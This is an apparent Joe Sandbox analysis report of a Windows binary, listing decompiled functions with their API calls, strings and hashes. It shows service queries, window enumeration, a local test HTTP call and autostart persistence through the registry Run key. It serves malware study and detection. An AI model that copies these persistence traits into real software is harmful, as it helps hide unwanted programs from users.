MultiByteToWideChar.KERNEL32(00000000,00000001,?,00421E51,?,00000000,?,?,00421E51,?), ref: 0041FE3B
LCMapStringW.KERNEL32(?,?,00000000,00000000,00000000,00000000,?,?,00421E51,?), ref: 0041FE51
LCMapStringW.KERNEL32(?,?,?,00000000,?,?,?,?,00421E51,?), ref: 0041FE84
LCMapStringW.KERNEL32(?,?,?,?,?,00000000,?,?,00421E51,?), ref: 0041FEEC

Strings

H4D, xrefs: 0041FDD4, 0041FDDF

Memory Dump Source

Source File: 00000003.00000002.3249734070.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3249720362.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249758194.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249771441.000000000042B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.000000000042F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.0000000000433000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249816865.0000000000444000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_record_hit.jbxd

Similarity

API ID: String$ByteCharMultiWide
String ID: H4D
API String ID: 352835431-1263760148
Opcode ID: 387d614f5c9dd953d977224e0090cb8eb55a3f715ccd23752de7f1e84d2ae879
Instruction ID: 5dcddbb798ac9f6fc21cdd41d06691324e8d97e8aa5e0045d55bead588284da0
Opcode Fuzzy Hash: 387d614f5c9dd953d977224e0090cb8eb55a3f715ccd23752de7f1e84d2ae879
Instruction Fuzzy Hash: 9F517E31900209EFCF228F94DC45AEF7FB9FB49750F20412AF915A1160D3798DA6DB69

Function 0041DA9B Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 100stringfileCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?), ref: 0041DB08
strlen.MSVCRT ref: 0041DB33
strlen.MSVCRT ref: 0041DB46
strlen.MSVCRT ref: 0041DBD3
GetStdHandle.KERNEL32(000000F4,0042B680,00000000,00000000,00000000,?), ref: 0041DBDE
WriteFile.KERNEL32(00000000), ref: 0041DBE5

Strings

..., xrefs: 0041DB5A
Microsoft Visual C++ Runtime Library, xrefs: 0041DBB4
<program name unknown>, xrefs: 0041DB18
Runtime Error!Program: , xrefs: 0041DB6E

Memory Dump Source

Source File: 00000003.00000002.3249734070.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3249720362.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249758194.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249771441.000000000042B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.000000000042F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.0000000000433000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249816865.0000000000444000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_record_hit.jbxd

Similarity

API ID: strlen$File$HandleModuleNameWrite
String ID: ...$<program name unknown>$Microsoft Visual C++ Runtime Library$Runtime Error!Program:
API String ID: 4251347932-4022980321
Opcode ID: af5bbcf7cc32c6d12357bb8abed69643f6f60001254174bcc49013c666c153fc
Instruction ID: b7fcb9370af779c3381e10df39aa0628663b0a7dfd2387eea9860add67227ba7
Opcode Fuzzy Hash: af5bbcf7cc32c6d12357bb8abed69643f6f60001254174bcc49013c666c153fc
Instruction Fuzzy Hash: 5631D4B2B042186FDF20DA60CD46FDA736CEF46344F50006BF545D6194E7B8A9C68A5E

Function 00402BCA Relevance: 16.8, APIs: 11, Instructions: 322windowthreadCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00402C16
GetTickCount.KERNEL32 ref: 00402C77
FindWindowExA.USER32(00000000,00000000,00000000,00000000), ref: 00402CE7
IsWindowVisible.USER32(00000000), ref: 00402D2F
GetWindowThreadProcessId.USER32(00000000,00000000), ref: 00402D71
GetParent.USER32(00000000), ref: 00402DA9

Memory Dump Source

Source File: 00000003.00000002.3249734070.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3249720362.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249758194.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249771441.000000000042B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.000000000042F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.0000000000433000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249816865.0000000000444000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_record_hit.jbxd

Similarity

API ID: Window$CountTick$FindParentProcessThreadVisible
String ID:
API String ID: 4104513660-0
Opcode ID: c1dc8d1391a2f9b7cac36bac0fb9919ff37bed145f2e1fca79b7df1986b97ab9
Instruction ID: 146c14005be4708af03461e51f0b18d53b5295c9b81bbf0d0757df8575d7e7d9
Opcode Fuzzy Hash: c1dc8d1391a2f9b7cac36bac0fb9919ff37bed145f2e1fca79b7df1986b97ab9
Instruction Fuzzy Hash: FCB17170E40209EBEB10DE95C94ABAF7774AB04715F14013AFA14BA2C0D7BD9E91CB5A

Function 0040A64D Relevance: 16.7, APIs: 11, Instructions: 227memoryserviceCOMMON

Download Yara Rule

APIs

OpenSCManagerA.ADVAPI32(00000000,00000000,80000000), ref: 0040A6A8
OpenServiceA.ADVAPI32(00000000,00000000,00000001,00000000,00000000,80000000), ref: 0040A6EB
QueryServiceConfig2A.ADVAPI32(00000000,00000001,00000000,00000000,00000000,00000000,00000000,00000001,00000000,00000000,80000000), ref: 0040A737
GetProcessHeap.KERNEL32(00000000,00000001,00000000,00000000,00000000,00000000,00000000,00000001,00000000,00000000,80000000), ref: 0040A760
HeapAlloc.KERNEL32(?,00000008,00000000,00000000,00000001,00000000,00000000,00000000,00000000,00000000,00000001,00000000,00000000,80000000), ref: 0040A797
QueryServiceConfig2A.ADVAPI32(00000000,00000001,00000000,00000000,00000000,?,00000008,00000000,00000000,00000001,00000000,00000000,00000000,00000000,00000000,00000001), ref: 0040A7D5
RtlMoveMemory.KERNEL32(?,00000000,00000004,00000000,00000001,00000000,00000000,00000000,?,00000008,00000000,00000000,00000001,00000000,00000000,00000000), ref: 0040A811
CloseServiceHandle.ADVAPI32(00000000,00000000,00000001,00000000,00000000,00000000,?,00000008,00000000,00000000,00000001,00000000,00000000,00000000,00000000,00000000), ref: 0040A876
GetProcessHeap.KERNEL32(00000000,00000000,00000001,00000000,00000000,00000000,?,00000008,00000000,00000000,00000001,00000000,00000000,00000000,00000000,00000000), ref: 0040A89F
HeapFree.KERNEL32(?,00000001,00000000,00000000,00000000,00000001,00000000,00000000,00000000,?,00000008,00000000,00000000,00000001,00000000,00000000), ref: 0040A8D6
CloseServiceHandle.ADVAPI32(00000000,00000000,00000000,00000001,00000000,00000000,80000000), ref: 0040A902

Memory Dump Source

Source File: 00000003.00000002.3249734070.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3249720362.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249758194.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249771441.000000000042B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.000000000042F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.0000000000433000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249816865.0000000000444000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_record_hit.jbxd

Similarity

API ID: Service$Heap$CloseConfig2HandleOpenProcessQuery$AllocFreeManagerMemoryMove
String ID:
API String ID: 4186248289-0
Opcode ID: e19a7fcb27445650e16518a3efb40c991e394abea672c15c4d2ee201edc2a943
Instruction ID: af8993b721aa47080161f0203b89d551f56d9b99c60374f8546bc3f55d9e1cb9
Opcode Fuzzy Hash: e19a7fcb27445650e16518a3efb40c991e394abea672c15c4d2ee201edc2a943
Instruction Fuzzy Hash: 138150F1E40309ABEB10AB959C47BEE7A74AB14715F04402EF604BA2C1DA795A50CF9B

Function 00425221 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 99COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00425226
GetPropA.USER32(?,AfxOldWndProc423), ref: 0042523E
CallWindowProcA.USER32(?,?,00000110,?,00000000), ref: 0042529C

Part of subcall function 00424E08: GetWindowRect.USER32(?,?), ref: 00424E2D
Part of subcall function 00424E08: GetWindow.USER32(?,00000004), ref: 00424E4A

SetWindowLongA.USER32(?,000000FC,?), ref: 004252CC
RemovePropA.USER32(?,AfxOldWndProc423), ref: 004252D4
GlobalFindAtomA.KERNEL32(AfxOldWndProc423), ref: 004252DB
GlobalDeleteAtom.KERNEL32(00000000), ref: 004252E2

Part of subcall function 00424DE5: GetWindowRect.USER32(?,?), ref: 00424DF1

CallWindowProcA.USER32(?,?,?,?,00000000), ref: 00425336

Strings

AfxOldWndProc423, xrefs: 00425234, 0042523C, 004252D2, 004252DA

Memory Dump Source

Source File: 00000003.00000002.3249734070.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3249720362.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249758194.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249771441.000000000042B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.000000000042F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.0000000000433000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249816865.0000000000444000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_record_hit.jbxd

Similarity

API ID: Window$AtomCallGlobalProcPropRect$DeleteFindH_prologLongRemove
String ID: AfxOldWndProc423
API String ID: 2397448395-1060338832
Opcode ID: 1bd8fe4214a3271c3a8145e9e0069e767c8da964e6d6d38501c414ea71061aa9
Instruction ID: 3c2790a9f29ad52fcf595ca191c07f44c1a14e48a5b7c12b4eec3d8127a87856
Opcode Fuzzy Hash: 1bd8fe4214a3271c3a8145e9e0069e767c8da964e6d6d38501c414ea71061aa9
Instruction Fuzzy Hash: F5316572A00529ABCF11DFA5FD49EFF7B78EF49350F40001AF901A2150CB798A21DBA9

Function 00410DAD Relevance: 15.3, APIs: 10, Instructions: 272serviceCOMMON

Download Yara Rule

APIs

wm_pbin.WMVERT(00000002,00000000,00000000,80000301,00000024,00000000,80000301,00000000,?,00000000,00000000,00000001,00000000,00000000,00000000,00000000), ref: 00410AFB
wm_Sleep.WMVERT(00000001,?,00000000,80000301,00000000,00000001,?,?,00000000,?,?), ref: 00410D5C
QueryServiceStatus.ADVAPI32(00000000,?,?,?,?,?,00000000,00000001,?,?,00000000,?,?), ref: 00410D72
wm_DoEvents.WMVERT(00000000,?,?,?,?,?,00000000,00000001,?,?,00000000,?,?), ref: 00410E08
CloseServiceHandle.ADVAPI32(00000000,00000000,00000001,?,00000000,?,?), ref: 00410E20
GlobalFree.KERNEL32(00000000), ref: 00410E58
CloseServiceHandle.ADVAPI32(00000000,00000000,00000001,00000000,00000000,00000000,00000000,00000040,00000000,00000000,00000001,00000000,00000000,00000000,00000000,00000000), ref: 00410E84
CloseServiceHandle.ADVAPI32(00000000,00000000,00000000,0000002C,00000000,00000000,80000000), ref: 00410EB0

Memory Dump Source

Source File: 00000003.00000002.3249734070.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3249720362.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249758194.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249771441.000000000042B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.000000000042F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.0000000000433000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249816865.0000000000444000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_record_hit.jbxd

Similarity

API ID: Service$CloseHandle$EventsFreeGlobalQuerySleepStatuswm_pbin
String ID:
API String ID: 1336379938-0
Opcode ID: ee76a87a31aa49508af11cc9f45c1f8dbbaa0cf3f90de895b596697e36138e4f
Instruction ID: 21fddcee717c079b3728cef2bfaa4f9cc28e34f843321cfff090b184ea0ceffd
Opcode Fuzzy Hash: ee76a87a31aa49508af11cc9f45c1f8dbbaa0cf3f90de895b596697e36138e4f
Instruction Fuzzy Hash: C7A1EDB1E81345ABEF00DF95ECC1B8D7BB5EF19324F280025F505AB341D679A9A1CB16

Function 00416A30 Relevance: 15.2, APIs: 10, Instructions: 239COMMON

Download Yara Rule

APIs

wm_Len.WMVERT(00000001,?,00000000,80000004), ref: 00416A59
wm_Right.WMVERT(00000002,00000000,00000000,80000004,00000000,00000000,80000301), ref: 00416A89
wm_Len.WMVERT(00000001,00000000,00000000,80000004), ref: 00416AED
wm_Len.WMVERT(00000001,00000000,00000000,80000004), ref: 00416B18
wm_Left.WMVERT(00000002,00000000,00000000,80000004,00000000,00000000,80000301), ref: 00416B68
wm_Len.WMVERT(00000001,00000000,00000000,80000004), ref: 00416BAF
wm_Left.WMVERT(00000002,00000000,00000000,80000004,00000000,00000000,80000301), ref: 00416BDF
wm_Len.WMVERT(00000001,00000000,00000000,80000004), ref: 00416C43
wm_Len.WMVERT(00000001,00000000,00000000,80000004), ref: 00416C6E
wm_Right.WMVERT(00000002,00000000,00000000,80000004,00000000,00000000,80000301), ref: 00416CBE

Memory Dump Source

Source File: 00000003.00000002.3249734070.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3249720362.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249758194.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249771441.000000000042B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.000000000042F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.0000000000433000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249816865.0000000000444000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_record_hit.jbxd

Similarity

API ID: LeftRight
String ID:
API String ID: 2371408231-0
Opcode ID: 2994203fa8115eb3bb6f6aea26ec683b71572408276914b904bb8d211fee3cc1
Instruction ID: 85192659dfe753970109aabc1d27828a0207552b7f38be3d0dc2b24a657a0922
Opcode Fuzzy Hash: 2994203fa8115eb3bb6f6aea26ec683b71572408276914b904bb8d211fee3cc1
Instruction Fuzzy Hash: CA814470A00314ABFB00DE55DCD1BEA77B4EF18704F54406AFE44AB382E679AE908769

Function 0040BA81 Relevance: 15.2, APIs: 10, Instructions: 211servicememoryCOMMON

Download Yara Rule

APIs

OpenSCManagerA.ADVAPI32(00000000,00000000,80000000), ref: 0040BAE8
OpenServiceA.ADVAPI32(00000000,00000000,00000001,00000000,00000000,80000000), ref: 0040BB2B
QueryServiceConfigA.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000000,00000001,00000000,00000000,80000000), ref: 0040BB72
GlobalAlloc.KERNEL32(00000040,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000001,00000000,00000000,80000000), ref: 0040BBA3
QueryServiceConfigA.ADVAPI32(00000000,00000000,00000000,00000000,00000040,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000001,00000000,00000000,80000000), ref: 0040BBDC
RtlMoveMemory.KERNEL32(?,00000000,00000024,00000000,00000000,00000000,00000000,00000040,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000001), ref: 0040BC1D
wm_DoEvents.WMVERT(00000000,?,00000000,00000024,00000000,00000000,00000000,00000000,00000040,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0040BD1F
CloseServiceHandle.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000040,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000001,00000000,00000000), ref: 0040BD32
CloseServiceHandle.ADVAPI32(00000000,00000000,00000000,00000001,00000000,00000000,80000000), ref: 0040BD5E
GlobalFree.KERNEL32(00000000), ref: 0040BD8A

Memory Dump Source

Source File: 00000003.00000002.3249734070.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3249720362.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249758194.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249771441.000000000042B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.000000000042F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.0000000000433000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249816865.0000000000444000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_record_hit.jbxd

Similarity

API ID: Service$CloseConfigGlobalHandleOpenQuery$AllocEventsFreeManagerMemoryMove
String ID:
API String ID: 3929567911-0
Opcode ID: 8a166cd5ec7fb49bb155cb67213b542ba0c9ef9c4376f67a360317f2403d446d
Instruction ID: 0f5c7a7033a309bef3422dc423d61a4a022cc4012ff843b90861de5529d1a67b
Opcode Fuzzy Hash: 8a166cd5ec7fb49bb155cb67213b542ba0c9ef9c4376f67a360317f2403d446d
Instruction Fuzzy Hash: 2F810CB1E40318ABEF109F91DC46BEEB771EB19718F04012AF6047A2C1D7795990CBAE

Function 0040BDC7 Relevance: 15.2, APIs: 10, Instructions: 200servicememoryCOMMON

Download Yara Rule

APIs

OpenSCManagerA.ADVAPI32(00000000,00000000,80000000), ref: 0040BE2E
OpenServiceA.ADVAPI32(00000000,00000000,00000001,00000000,00000000,80000000), ref: 0040BE71
QueryServiceConfigA.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000000,00000001,00000000,00000000,80000000), ref: 0040BEB8
GlobalAlloc.KERNEL32(00000040,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000001,00000000,00000000,80000000), ref: 0040BEE9
QueryServiceConfigA.ADVAPI32(00000000,00000000,00000000,00000000,00000040,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000001,00000000,00000000,80000000), ref: 0040BF22
RtlMoveMemory.KERNEL32(?,00000000,00000024,00000000,00000000,00000000,00000000,00000040,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000001), ref: 0040BF63
wm_pstr.WMVERT(00000001,?,00000000,80000301,?,00000000,00000024,00000000,00000000,00000000,00000000,00000040,00000000,00000000,00000000,00000000), ref: 0040BFA3
GlobalFree.KERNEL32(00000000), ref: 0040BFD1
CloseServiceHandle.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000000,00000040,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 0040BFFD
CloseServiceHandle.ADVAPI32(00000000,00000000,00000000,00000001,00000000,00000000,80000000), ref: 0040C029

Memory Dump Source

Source File: 00000003.00000002.3249734070.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3249720362.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249758194.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249771441.000000000042B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.000000000042F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.0000000000433000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249816865.0000000000444000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_record_hit.jbxd

Similarity

API ID: Service$CloseConfigGlobalHandleOpenQuery$AllocFreeManagerMemoryMovewm_pstr
String ID:
API String ID: 608286790-0
Opcode ID: b7540af6f588702c56fa5286cd93e5531587516d843bcc69e9ee2223e82e582a
Instruction ID: 57e25eda3bceccc9029384c5f2c44abc72506c25c787c9532b8550ecc5c8eb81
Opcode Fuzzy Hash: b7540af6f588702c56fa5286cd93e5531587516d843bcc69e9ee2223e82e582a
Instruction Fuzzy Hash: AE711EB1E40309FBEF10ABE5DC46BDEB675EB09714F04012AF6047A2C1D77A5950CBAA

Function 00428E90 Relevance: 15.1, APIs: 10, Instructions: 99memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,00440204,00000100,?,?,?,00429139,?,00000100,00428CEA,004286D6,004272E6,00000100,0042727F,00000000,?), ref: 00428E9F
GlobalAlloc.KERNEL32(00002002,-00000020,00000000,?,?,?,00429139,?,00000100,00428CEA,004286D6,004272E6,00000100,0042727F,00000000,?), ref: 00428EF4
GlobalHandle.KERNEL32(?), ref: 00428EFD
GlobalUnlock.KERNEL32(00000000,?,?,?,00429139,?,00000100,00428CEA,004286D6,004272E6,00000100,0042727F,00000000,?,00000100,?), ref: 00428F06
GlobalReAlloc.KERNEL32(00000000,-00000020,00002002), ref: 00428F18
GlobalHandle.KERNEL32(?), ref: 00428F2F
GlobalLock.KERNEL32(00000000,?,?,?,00429139,?,00000100,00428CEA,004286D6,004272E6,00000100,0042727F,00000000,?,00000100,?), ref: 00428F36
LeaveCriticalSection.KERNEL32(00000000,?,?,?,00429139,?,00000100,00428CEA,004286D6,004272E6,00000100,0042727F,00000000,?,00000100,?), ref: 00428F3C
GlobalLock.KERNEL32(?,?,?,?,00429139,?,00000100,00428CEA,004286D6,004272E6,00000100,0042727F,00000000,?,00000100,?), ref: 00428F4B
LeaveCriticalSection.KERNEL32(?,?,00000000), ref: 00428F94

Memory Dump Source

Source File: 00000003.00000002.3249734070.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3249720362.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249758194.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249771441.000000000042B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.000000000042F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.0000000000433000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249816865.0000000000444000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_record_hit.jbxd

Similarity

API ID: Global$CriticalSection$AllocHandleLeaveLock$EnterUnlock
String ID:
API String ID: 2667261700-0
Opcode ID: 1569b81c5b744bc40c17d16886aff6e3de2071fcdf5aa2923dba22669fa45a37
Instruction ID: cc2d11d0381452d0b02ddfaff84201f93a8555f83bbea12120d8df74dda54790
Opcode Fuzzy Hash: 1569b81c5b744bc40c17d16886aff6e3de2071fcdf5aa2923dba22669fa45a37
Instruction Fuzzy Hash: 6931A1713043099FD7209F28EC89A2AB7EAFF44311F41092EE852C3661EB75E8258B15

Function 004042EF Relevance: 14.4, APIs: 2, Strings: 6, Instructions: 391COMMON

Download Yara Rule

APIs

wm_ObjClear.WMVERT(00000001,?,00000000,00010030,?,00000000,00000001,00000001,00000000,00000001,00000000,00000000,00000000,00000000,00000000,00000001), ref: 0040461E
wm_Str.WMVERT(00000001,?,00000000,80000005,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000000,?,00000000), ref: 004046B6

Strings

User-Agent, xrefs: 004043E8
test, xrefs: 004043B6, 004043BB
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 UBrowser/5.6.12150.8 Safari/537.36, xrefs: 004043DC
http://127.0.0.1:8888/test, xrefs: 00404395, 0040439A
Content-Type, xrefs: 0040443A
application/json; charset=utf-8, xrefs: 0040442E

Memory Dump Source

Source File: 00000003.00000002.3249734070.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3249720362.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249758194.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249771441.000000000042B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.000000000042F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.0000000000433000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249816865.0000000000444000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_record_hit.jbxd

Similarity

API ID: Clear
String ID: Content-Type$Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 UBrowser/5.6.12150.8 Safari/537.36$User-Agent$application/json; charset=utf-8$http://127.0.0.1:8888/test$test
API String ID: 611376642-697771009
Opcode ID: cee152b7b6443722e49396d170edd3baef003ea51407ff3142c78fc31f7add48
Instruction ID: 17df11cc02ac53eea8e234c637fea0be83e81a69cfa34ada3565d3d360ef3c4a
Opcode Fuzzy Hash: cee152b7b6443722e49396d170edd3baef003ea51407ff3142c78fc31f7add48
Instruction Fuzzy Hash: 9AD1DCF1E00308ABEB50DFE5DCC1BDEB7B8AB19304F145439F605B6281DB79A9488B65

Function 00419170 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 135registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00419AF7: lstrcpyA.KERNEL32(-0000002C,?,?,?,?,004191B7), ref: 00419B25
Part of subcall function 00419AF7: FindFirstFileA.KERNEL32(?,?,?,004191B7), ref: 00419B2F
Part of subcall function 00419AF7: GetLastError.KERNEL32(?,004191B7), ref: 00419B3D
Part of subcall function 00419AF7: SetLastError.KERNEL32(0000007B,000000FF,00000000,00000064), ref: 00419B88

RegOpenKeyA.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\Run,00000000), ref: 0041922E
RegSetValueExA.ADVAPI32(?,00000002,00000000,00000001,?,00000000), ref: 00419251
RegCloseKey.ADVAPI32(00000000), ref: 00419260
RegCloseKey.ADVAPI32(00000000), ref: 004192A7

Part of subcall function 00419A71: __EH_prolog.LIBCMT ref: 00419A76

Part of subcall function 004247A2: InterlockedDecrement.KERNEL32(-000000F4), ref: 004247B6

Strings

%s\%s.lnk, xrefs: 0041930B
Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 00419224

Memory Dump Source

Source File: 00000003.00000002.3249734070.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3249720362.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249758194.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249771441.000000000042B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.000000000042F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.0000000000433000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249816865.0000000000444000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_record_hit.jbxd

Similarity

API ID: CloseErrorLast$DecrementFileFindFirstH_prologInterlockedOpenValuelstrcpy
String ID: %s\%s.lnk$Software\Microsoft\Windows\CurrentVersion\Run
API String ID: 723761139-2596592962
Opcode ID: 1f45310a3de6cb0dcfbddede6c332d94d89375df308966abfa4a5ca67e1d3d2e
Instruction ID: efab2abf43cc11e4424c66a2f7c848c63d5c04ac010e4850d8e25d516f7014dd
Opcode Fuzzy Hash: 1f45310a3de6cb0dcfbddede6c332d94d89375df308966abfa4a5ca67e1d3d2e
Instruction Fuzzy Hash: 03518F352083C1ABC324DB61CCA5BEBB7E8EFD4714F10091EF8A6422C1DB399949C627

Function 004190C0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 55registryfileCOMMON

Download Yara Rule

APIs

RegOpenKeyA.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\Run,?), ref: 004190DC
